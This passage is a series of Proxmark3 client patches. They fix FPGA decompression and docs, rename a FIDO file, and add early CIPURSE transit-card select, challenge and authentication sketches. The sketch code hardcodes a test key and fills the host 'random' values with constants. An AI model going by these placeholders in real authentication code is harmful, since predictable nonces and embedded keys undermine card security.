Call it either with opened infile + outsize=0 // or with opened infile, opened outfiles, num_outfiles and valid outsize static int zlib_decompress(FILE *infile, FILE *outfiles[], uint8_t num_outfiles, long *outsize) { - + if (num_outfiles > 10) { + return (EXIT_FAILURE); + } LZ4_streamDecode_t lz4StreamDecode_body = {{ 0 }}; char outbuf[FPGA_RING_BUFFER_BYTES]; @@ -187,7 +189,7 @@ static int zlib_decompress(FILE *infile, FILE *outfiles[], uint8_t num_outfiles, compressed_fpga_stream.next_in = inbuf; compressed_fpga_stream.avail_in = infile_size; - int total_size = 0; + long total_size = 0; while (compressed_fpga_stream.avail_in > 0) { int cmp_bytes; memcpy(&cmp_bytes, compressed_fpga_stream.next_in, sizeof(int)); @@ -209,14 +211,36 @@ static int zlib_decompress(FILE *infile, FILE *outfiles[], uint8_t num_outfiles, return EXIT_SUCCESS; } else { fclose(infile); - total_size = 0; + // seeking for trailing zeroes + long offset = 0; + long outfilesizes[10] = {0}; for (uint16_t k = 0; k < *outsize / (FPGA_INTERLEAVE_SIZE * num_outfiles); k++) { for (uint16_t j = 0; j < num_outfiles; j++) { - fwrite(outbufall + total_size, FPGA_INTERLEAVE_SIZE, sizeof(char), outfiles[j]); - total_size += FPGA_INTERLEAVE_SIZE; + for (long i = 0; i < FPGA_INTERLEAVE_SIZE; i++) { + if (outbufall[offset + i]) { + outfilesizes[j] = (k * FPGA_INTERLEAVE_SIZE) + i + 1; + } + } + offset += FPGA_INTERLEAVE_SIZE; } } - printf("uncompressed %li input bytes to %i output bytes\n", infile_size, total_size); + total_size = 0; + // FPGA bit file ends with 16 zeroes + for (uint16_t j = 0; j < num_outfiles; j++) { + outfilesizes[j] += 16; + total_size += outfilesizes[j]; + } + offset = 0; + for (uint16_t k = 0; k < *outsize / (FPGA_INTERLEAVE_SIZE * num_outfiles); k++) { + for (uint16_t j = 0; j < num_outfiles; j++) { + if (k * FPGA_INTERLEAVE_SIZE < outfilesizes[j]) { + uint16_t chunk = outfilesizes[j] - (k * FPGA_INTERLEAVE_SIZE) < FPGA_INTERLEAVE_SIZE ? outfilesizes[j] - (k * FPGA_INTERLEAVE_SIZE) : FPGA_INTERLEAVE_SIZE; + fwrite(outbufall + offset, chunk, sizeof(char), outfiles[j]); + } + offset += FPGA_INTERLEAVE_SIZE; + } + } + printf("uncompressed %li input bytes to %li output bytes\n", infile_size, total_size); } if (*outsize > 0) { for (uint16_t j = 0; j < num_outfiles; j++) { From 8cfe280ebc08e0769e2ef12d567abd6d4775f013 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C4=B0lteri=C5=9F=20Ero=C4=9Flu?= Date: Tue, 15 Jun 2021 11:41:10 +0300 Subject: [PATCH 29/77] fix mislinked image --- doc/md/Installation_Instructions/Troubleshooting.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/md/Installation_Instructions/Troubleshooting.md b/doc/md/Installation_Instructions/Troubleshooting.md index 35e0ce830..997fdbc19 100644 --- a/doc/md/Installation_Instructions/Troubleshooting.md +++ b/doc/md/Installation_Instructions/Troubleshooting.md @@ -175,7 +175,7 @@ When ```explorer.exe .``` doesn't work. Trying to access the dump files created in WSL, you will need to run ```explorer.exe .``` but sometimes this doesn't work. [As seen here](https://github.com/microsoft/WSL/issues/4027) they suggest checking the following registry value for *P9NP* -[![screenshot of regedit](/doc/md/Use_of_Proxmark/wsl2_p9np.png)](/doc/md/Use_of_Proxmark/wsl2_p9np.png) +[![screenshot of regedit](/doc/md/Installation_Instructions/wsl2_p9np.png)](/doc/md/Installation_Instructions/wsl2_p9np.png) ## Troubles with running the Proxmark3 client Some reports has stated that they needed to execute the Proxmark3 as root on their *nix system. @@ -237,4 +237,4 @@ Try running the client without the SESSION_MANAGER environment variable. ``` env -u SESSION_MANAGER ./pm3 -``` \ No newline at end of file +``` From 77ee260970bc2bd7c98687ed48bacc8c4539a4b2 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 15 Jun 2021 13:46:02 +0300 Subject: [PATCH 30/77] typo --- client/src/cmdhffido.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdhffido.c b/client/src/cmdhffido.c index f7cdabab3..508d7ce03 100644 --- a/client/src/cmdhffido.c +++ b/client/src/cmdhffido.c @@ -38,7 +38,7 @@ #include "fileutils.h" // laodFileJSONroot #define DEF_FIDO_SIZE 2048 -#define DEF_FIDO_PARAM_FILE "hf-fido2_defparams.json" +#define DEF_FIDO_PARAM_FILE "hf_fido2_defparams.json" static int CmdHelp(const char *Cmd); From 390cfb4594a3911fa4cb0043207f73ed22600973 Mon Sep 17 00:00:00 2001 From: Oleg Moiseenko <807634+merlokk@users.noreply.github.com> Date: Tue, 15 Jun 2021 13:46:27 +0300 Subject: [PATCH 31/77] Rename hf-fido2_defparams.json to hf_fido2_defparams.json --- .../{hf-fido2_defparams.json => hf_fido2_defparams.json} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename client/resources/{hf-fido2_defparams.json => hf_fido2_defparams.json} (100%) diff --git a/client/resources/hf-fido2_defparams.json b/client/resources/hf_fido2_defparams.json similarity index 100% rename from client/resources/hf-fido2_defparams.json rename to client/resources/hf_fido2_defparams.json From f267df2fb72ccc79a478d623ee0a556d21768726 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 28 May 2021 18:54:44 +0300 Subject: [PATCH 32/77] cipurse info sketch --- client/CMakeLists.txt | 1 + client/Makefile | 2 + client/src/cipurse/cipursecore.c | 25 ++++++++ client/src/cipurse/cipursecore.h | 21 +++++++ client/src/cmdhf.c | 2 + client/src/cmdhfcipurse.c | 102 +++++++++++++++++++++++++++++++ client/src/cmdhfcipurse.h | 23 +++++++ 7 files changed, 176 insertions(+) create mode 100644 client/src/cipurse/cipursecore.c create mode 100644 client/src/cipurse/cipursecore.h create mode 100644 client/src/cmdhfcipurse.c create mode 100644 client/src/cmdhfcipurse.h diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 28edf7c2b..420daa1a2 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -242,6 +242,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdhfepa.c ${PM3_ROOT}/client/src/cmdhffelica.c ${PM3_ROOT}/client/src/cmdhffido.c + ${PM3_ROOT}/client/src/cmdhfcipurse.c ${PM3_ROOT}/client/src/cmdhficlass.c ${PM3_ROOT}/client/src/cmdhfjooki.c ${PM3_ROOT}/client/src/cmdhflegic.c diff --git a/client/Makefile b/client/Makefile index 696b48f40..2f5478b39 100644 --- a/client/Makefile +++ b/client/Makefile @@ -473,6 +473,7 @@ SRCS = aiddesfire.c \ cmdhfemrtd.c \ cmdhffelica.c \ cmdhffido.c \ + cmdhfcipurse.c \ cmdhficlass.c \ cmdhflegic.c \ cmdhfjooki.c \ @@ -556,6 +557,7 @@ SRCS = aiddesfire.c \ fido/cose.c \ fido/cbortools.c \ fido/fidocore.c \ + cipurse/cipursecore.c \ fileutils.c \ flash.c \ generator.c \ diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c new file mode 100644 index 000000000..8f61d843d --- /dev/null +++ b/client/src/cipurse/cipursecore.c @@ -0,0 +1,25 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// CIPURSE transport cards data and commands +//----------------------------------------------------------------------------- + +#include "cipursecore.h" + +#include "commonutil.h" // ARRAYLEN + +#include "emv/emvcore.h" +#include "emv/emvjson.h" +#include "ui.h" +#include "util.h" + +int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + uint8_t data[] = {0x41, 0x44, 0x20, 0x46, 0x31}; + + return EMVSelect(ECC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL); +} + diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h new file mode 100644 index 000000000..7598b8343 --- /dev/null +++ b/client/src/cipurse/cipursecore.h @@ -0,0 +1,21 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// CIPURSE transport cards data and commands +//----------------------------------------------------------------------------- + +#ifndef __CIPURSECORE_H__ +#define __CIPURSECORE_H__ + +#include "common.h" + +#include +#include "emv/apduinfo.h" // sAPDU + +int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); + +#endif /* __CIPURSECORE_H__ */ diff --git a/client/src/cmdhf.c b/client/src/cmdhf.c index 369234b9d..94384c580 100644 --- a/client/src/cmdhf.c +++ b/client/src/cmdhf.c @@ -33,6 +33,7 @@ #include "cmdhftopaz.h" // TOPAZ #include "cmdhffelica.h" // ISO18092 / FeliCa #include "cmdhffido.h" // FIDO authenticators +#include "cmdhfcipurse.h" // CIPURSE transport cards #include "cmdhfthinfilm.h" // Thinfilm #include "cmdhflto.h" // LTO-CM #include "cmdhfcryptorf.h" // CryptoRF @@ -399,6 +400,7 @@ static command_t CommandTable[] = { {"14b", CmdHF14B, AlwaysAvailable, "{ ISO14443B RFIDs... }"}, {"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"}, // {"cryptorf", CmdHFCryptoRF, AlwaysAvailable, "{ CryptoRF RFIDs... }"}, + {"cipurse", CmdHFCipurse, AlwaysAvailable, "{ Cipurse transport Cards... }"}, {"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"}, {"emrtd", CmdHFeMRTD, AlwaysAvailable, "{ Machine Readable Travel Document... }"}, {"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / FeliCa RFIDs... }"}, diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c new file mode 100644 index 000000000..f519a4be9 --- /dev/null +++ b/client/src/cmdhfcipurse.c @@ -0,0 +1,102 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// High frequency FIDO U2F and FIDO2 contactless authenticators +//----------------------------------------------------------------------------- +// +// JAVA implementation here: +// +// https://github.com/duychuongvn/cipurse-card-core +//----------------------------------------------------------------------------- + +#include "cmdhffido.h" +#include +#include "cmdparser.h" // command_t +#include "commonutil.h" +#include "comms.h" +#include "proxmark3.h" +#include "emv/emvcore.h" +#include "emv/emvjson.h" +#include "cliparser.h" +#include "cmdhfcipurse.h" +#include "cipurse/cipursecore.h" +#include "ui.h" +#include "cmdhf14a.h" +#include "cmdtrace.h" +#include "util.h" +#include "fileutils.h" // laodFileJSONroot + +static int CmdHelp(const char *Cmd); + +static int CmdHFCipurseInfo(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse info", + "Get info from cipurse tags", + "hf cipurse info"); + + void *argtable[] = { + arg_param_begin, + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + CLIParserFree(ctx); + + // info about 14a part + infoHF14A(false, false, false); + + // CIPURSE info + PrintAndLogEx(INFO, "-----------" _CYAN_("CIPURSE Info") "---------------------------------"); + SetAPDULogging(false); + + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + + if (res) { + DropField(); + return res; + } + + if (sw != 0x9000) { + if (sw) + PrintAndLogEx(INFO, "Not a CIPURSE card! APDU response: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + else + PrintAndLogEx(ERR, "APDU exchange error. Card returns 0x0000."); + + DropField(); + return PM3_SUCCESS; + } + + PrintAndLogEx(INFO, "Cipurse card: " _GREEN_("OK")); + + + + DropField(); + return PM3_SUCCESS; +} + + + + + +static command_t CommandTable[] = { + {"help", CmdHelp, AlwaysAvailable, "This help."}, + {"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Info about Cipurse tag."}, + {NULL, NULL, 0, NULL} +}; + +int CmdHFCipurse(const char *Cmd) { + clearCommandBuffer(); + return CmdsParse(CommandTable, Cmd); +} + +int CmdHelp(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdsHelp(CommandTable); + return PM3_SUCCESS; +} diff --git a/client/src/cmdhfcipurse.h b/client/src/cmdhfcipurse.h new file mode 100644 index 000000000..86d0f63be --- /dev/null +++ b/client/src/cmdhfcipurse.h @@ -0,0 +1,23 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// High frequency FIDO U2F and FIDO2 contactless authenticators +//----------------------------------------------------------------------------- +// +// JAVA implementation here: +// +// https://github.com/duychuongvn/cipurse-card-core +//----------------------------------------------------------------------------- + +#ifndef CMDHFCIPURSE_H__ +#define CMDHFCIPURSE_H__ + +#include "common.h" + +int CmdHFCipurse(const char *Cmd); + +#endif From ae6580f65b0c027257f28745c85aafc546714a04 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 28 May 2021 19:05:00 +0300 Subject: [PATCH 33/77] check cipurse via `hf search` --- client/src/cmdhf.c | 9 +++++++++ client/src/cmdhfcipurse.c | 9 +++++++++ client/src/cmdhfcipurse.h | 2 ++ 3 files changed, 20 insertions(+) diff --git a/client/src/cmdhf.c b/client/src/cmdhf.c index 94384c580..ca4753d7c 100644 --- a/client/src/cmdhf.c +++ b/client/src/cmdhf.c @@ -128,6 +128,15 @@ int CmdHFSearch(const char *Cmd) { res = PM3_SUCCESS; } } + + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, " Searching for Cipurse tag..."); + if (IfPm3Iso14443a()) { + if (CheckCardCipurse()) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Cipurse tag") " found\n"); + res = PM3_SUCCESS; + } + } // 14b is the longest test PROMPT_CLEARLINE; diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index f519a4be9..1a1cd7770 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -84,6 +84,15 @@ static int CmdHFCipurseInfo(const char *Cmd) { +bool CheckCardCipurse(void) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + int res = CIPURSESelect(true, false, buf, sizeof(buf), &len, &sw); + + return (res == 0 && sw == 0x9000); +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help."}, {"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Info about Cipurse tag."}, diff --git a/client/src/cmdhfcipurse.h b/client/src/cmdhfcipurse.h index 86d0f63be..85e98ed60 100644 --- a/client/src/cmdhfcipurse.h +++ b/client/src/cmdhfcipurse.h @@ -20,4 +20,6 @@ int CmdHFCipurse(const char *Cmd); +bool CheckCardCipurse(void); + #endif From b1b6d3127ec87b6567739b56ad10329a42406621 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 28 May 2021 19:06:14 +0300 Subject: [PATCH 34/77] fix cmake --- client/CMakeLists.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 420daa1a2..aab617889 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -211,6 +211,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/fido/fidocore.c ${PM3_ROOT}/client/src/iso7816/apduinfo.c ${PM3_ROOT}/client/src/iso7816/iso7816core.c + ${PM3_ROOT}/client/src/cipurse/cipursecore.c ${PM3_ROOT}/client/src/loclass/cipher.c ${PM3_ROOT}/client/src/loclass/cipherutils.c ${PM3_ROOT}/client/src/loclass/elite_crack.c From b309fe519b6f6b81b5aad44f77ea883487cf010b Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 28 May 2021 19:57:43 +0300 Subject: [PATCH 35/77] GetChallenge works --- client/src/cipurse/cipursecore.c | 68 ++++++++++++++++++++++++++++++++ client/src/cipurse/cipursecore.h | 4 ++ client/src/cmdhfcipurse.c | 31 +++++++++++++++ 3 files changed, 103 insertions(+) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 8f61d843d..f4dea46b4 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -11,15 +11,83 @@ #include "cipursecore.h" #include "commonutil.h" // ARRAYLEN +#include "comms.h" // DropField +#include "util_posix.h" // msleep +#include "cmdhf14a.h" #include "emv/emvcore.h" #include "emv/emvjson.h" #include "ui.h" #include "util.h" +static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + uint8_t data[APDU_RES_LEN] = {0}; + + *ResultLen = 0; + if (sw) *sw = 0; + uint16_t isw = 0; + int res = 0; + + if (ActivateField) { + DropField(); + msleep(50); + } + + // COMPUTE APDU + int datalen = 0; + uint16_t xle = IncludeLe ? 0x100 : 0x00; + if (xle == 0x100 && Le != 0) + xle = Le; + if (APDUEncodeS(&apdu, false, xle, data, &datalen)) { + PrintAndLogEx(ERR, "APDU encoding error."); + return 201; + } + + if (GetAPDULogging()) + PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen)); + + res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen); + if (res) { + return res; + } + + if (GetAPDULogging()) + PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen)); + + if (*ResultLen < 2) { + return 200; + } + + *ResultLen -= 2; + isw = Result[*ResultLen] * 0x0100 + Result[*ResultLen + 1]; + if (sw) + *sw = isw; + + if (isw != 0x9000) { + if (GetAPDULogging()) { + if (*sw >> 8 == 0x61) { + PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff); + } else { + PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff)); + return 5; + } + } + } + + return PM3_SUCCESS; +} + +/*static int CIPURSEExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, apdu, true, 0, Result, MaxResultLen, ResultLen, sw); +}*/ + int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t data[] = {0x41, 0x44, 0x20, 0x46, 0x31}; return EMVSelect(ECC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL); } +int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x84, 0x00, 0x00, 0x00, NULL}, true, 0x16, Result, MaxResultLen, ResultLen, sw); +} + diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index 7598b8343..8a18011f2 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -12,10 +12,14 @@ #define __CIPURSECORE_H__ #include "common.h" +#include "emv/apduinfo.h" + #include #include "emv/apduinfo.h" // sAPDU int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); + #endif /* __CIPURSECORE_H__ */ diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index 1a1cd7770..a1e9176b1 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -80,6 +80,36 @@ static int CmdHFCipurseInfo(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHFCipurseAuth(const char *Cmd) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + + SetAPDULogging(true); + + int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + PrintAndLogEx(ERR, "Cipurse select error. Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); + if (res != 0 || len != 0x16) { + PrintAndLogEx(ERR, "Cipurse get challenge error. Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + + DropField(); + return PM3_SUCCESS; +} + + + + + @@ -96,6 +126,7 @@ bool CheckCardCipurse(void) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help."}, {"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Info about Cipurse tag."}, + {"auth", CmdHFCipurseAuth, IfPm3Iso14443a, "Authentication."}, {NULL, NULL, 0, NULL} }; From ce2b22a6a7353d8506ceb0444ac96b747f384dbf Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 28 May 2021 21:00:54 +0300 Subject: [PATCH 36/77] cipurse crypto sketch --- client/src/cipurse/cipursecrypto.c | 23 ++++++++++++++++ client/src/cipurse/cipursecrypto.h | 42 ++++++++++++++++++++++++++++++ 2 files changed, 65 insertions(+) create mode 100644 client/src/cipurse/cipursecrypto.c create mode 100644 client/src/cipurse/cipursecrypto.h diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c new file mode 100644 index 000000000..0f928ea1e --- /dev/null +++ b/client/src/cipurse/cipursecrypto.c @@ -0,0 +1,23 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// CIPURSE crypto primitives +//----------------------------------------------------------------------------- + +#include "cipursecore.h" + +#include "commonutil.h" // ARRAYLEN +#include "comms.h" // DropField +#include "util_posix.h" // msleep + +#include "cmdhf14a.h" +#include "emv/emvcore.h" +#include "emv/emvjson.h" +#include "ui.h" +#include "util.h" + + diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h new file mode 100644 index 000000000..f2e0dbfa2 --- /dev/null +++ b/client/src/cipurse/cipursecrypto.h @@ -0,0 +1,42 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// CIPURSE crypto primitives +//----------------------------------------------------------------------------- + +#ifndef __CIPURSECRYPTO_H__ +#define __CIPURSECRYPTO_H__ + +#include "common.h" + +enum CipurseChannelSecurityLevel { + CPSNone, + CPSPlain, + CPSMACed, + CPSEncrypted +} + +struct CipurseSession { + uint8_t keyId, + uint8_t[16] key, + + uint8_t[16] RP, + uint8_t[6] rP, + uint8_t[16] RT, + uint8_t[6] rT, + + uint8_t[16] k0, + uint8_t[16] cP, + + uint8_t[16] frameKey, + uint8_t[16] frameKey1 +} + + + + +#endif /* __CIPURSECRYPTO_H__ */ From 90f930659c092ebe0c2917641f3410e30a5fda4a Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 15:21:53 +0300 Subject: [PATCH 37/77] add crypto sketch --- client/Makefile | 1 + client/src/cipurse/cipursecrypto.c | 44 +++++++++++++++++++++++++++++- client/src/cipurse/cipursecrypto.h | 35 +++++++++++++++--------- client/src/cmdhfcipurse.c | 8 ++++++ 4 files changed, 74 insertions(+), 14 deletions(-) diff --git a/client/Makefile b/client/Makefile index 2f5478b39..c0f87e0a7 100644 --- a/client/Makefile +++ b/client/Makefile @@ -558,6 +558,7 @@ SRCS = aiddesfire.c \ fido/cbortools.c \ fido/fidocore.c \ cipurse/cipursecore.c \ + cipurse/cipursecrypto.c \ fileutils.c \ flash.c \ generator.c \ diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 0f928ea1e..e020676c6 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -8,7 +8,7 @@ // CIPURSE crypto primitives //----------------------------------------------------------------------------- -#include "cipursecore.h" +#include "cipursecrypto.h" #include "commonutil.h" // ARRAYLEN #include "comms.h" // DropField @@ -20,4 +20,46 @@ #include "ui.h" #include "util.h" +void CipurseClearContext(CipurseContext *ctx) { + if (ctx == NULL) + return; + + memset(ctx, 0, sizeof(CipurseContext)); +} +void CipurseSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key) { + if (ctx == NULL) + return; + + CipurseClearContext(ctx); + + ctx->keyId = keyId; + memcpy(ctx->key, key, member_size(CipurseContext, key)); +} + +void CipurseSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) { + if (ctx == NULL) + return; + + memcpy(ctx->RP, random, member_size(CipurseContext, RP)); + memcpy(ctx->rP, random + member_size(CipurseContext, RP), member_size(CipurseContext, rP)); +} + +void CipurseSetRandomHost(CipurseContext *ctx) { + memset(ctx->RT, 0x10, member_size(CipurseContext, RT)); + memset(ctx->rT, 0x20, member_size(CipurseContext, rT)); +} + +void CipurseAuthenticateHost(CipurseContext *ctx) { + if (ctx == NULL) + return; + +/* RT = Random.nextBytes(16) + rT = Random.nextBytes(6) + + val cP = generateK0AndGetCp(key, RP, rP, RT, rT) ?: return Pair(null, null) + + return Pair(cP + RT + rT, generateCT(RT))*/ + + +} diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index f2e0dbfa2..07019f6ca 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -13,28 +13,37 @@ #include "common.h" +#define member_size(type, member) sizeof(((type *)0)->member) + enum CipurseChannelSecurityLevel { CPSNone, CPSPlain, CPSMACed, CPSEncrypted -} +}; -struct CipurseSession { - uint8_t keyId, - uint8_t[16] key, +typedef struct CipurseContextS { + uint8_t keyId; + uint8_t key[16]; - uint8_t[16] RP, - uint8_t[6] rP, - uint8_t[16] RT, - uint8_t[6] rT, + uint8_t RP[16]; + uint8_t rP[6]; + uint8_t RT[16]; + uint8_t rT[6]; - uint8_t[16] k0, - uint8_t[16] cP, + uint8_t frameKey0[16]; + uint8_t cP[16]; - uint8_t[16] frameKey, - uint8_t[16] frameKey1 -} + uint8_t frameKey[16]; + uint8_t frameKeyNext[16]; +} CipurseContext; + +void CipurseClearContext(CipurseContext *ctx); +void CipurseSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key); +void CipurseSetRandomFromPICC(CipurseContext *ctx, uint8_t *random); +void CipurseSetRandomHost(CipurseContext *ctx); + +void CipurseAuthenticateHost(CipurseContext *ctx); diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index a1e9176b1..1806e4be4 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -24,6 +24,7 @@ #include "cliparser.h" #include "cmdhfcipurse.h" #include "cipurse/cipursecore.h" +#include "cipurse/cipursecrypto.h" #include "ui.h" #include "cmdhf14a.h" #include "cmdtrace.h" @@ -93,6 +94,10 @@ static int CmdHFCipurseAuth(const char *Cmd) { DropField(); return PM3_ESOFT; } + + uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; + CipurseContext ctx = {0}; + CipurseSetKey(&ctx, 1, key); res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); if (res != 0 || len != 0x16) { @@ -100,6 +105,9 @@ static int CmdHFCipurseAuth(const char *Cmd) { DropField(); return PM3_ESOFT; } + CipurseSetRandomFromPICC(&ctx, buf); + + DropField(); From 05c8f313dda50f6097edbc0db011efcb944a91d3 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 15:22:20 +0300 Subject: [PATCH 38/77] add auth command and some command's sketches --- client/src/cipurse/cipursecore.c | 4 ++++ client/src/cipurse/cipursecore.h | 9 +++++++++ 2 files changed, 13 insertions(+) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index f4dea46b4..45c276f2c 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -19,6 +19,7 @@ #include "emv/emvjson.h" #include "ui.h" #include "util.h" +#include "cipurse/cipursecrypto.h" static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t data[APDU_RES_LEN] = {0}; @@ -91,3 +92,6 @@ int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, ui return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x84, 